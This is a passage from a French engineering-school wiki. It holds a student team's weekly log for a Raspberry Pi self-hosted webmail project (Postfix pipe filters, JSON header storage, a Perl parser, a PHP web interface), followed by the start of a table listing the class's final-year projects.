 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http://projets-imasc.plil.net/mediawiki/images/1/10/PFE_Final_TENEUR_LIBAERT.pdf ICI]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Code Perl du script pour Postfix :&lt;br /&gt;
&lt;br /&gt;
Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]&lt;br /&gt;
&lt;br /&gt;
Package Debian d'installation de l'interface : [https://www.intimail.pw/intimail.deb intiMail.deb]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27640</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27640"/>
				<updated>2016-02-23T11:06:08Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015 12;00&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; mercredi 24 février à 10h avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV pris le 23/02 avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_Final_TENEUR_LIBAERT.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:FYP-P10-Lilliad-MSEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P18_COLAUTTI_LEFORT.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:IMA5-ASSP-JWPL.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rendez-vous pris avec M. Engels le vendredi 25 Février à 10h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Fait Maison&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;RDV mercredi 24 15h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
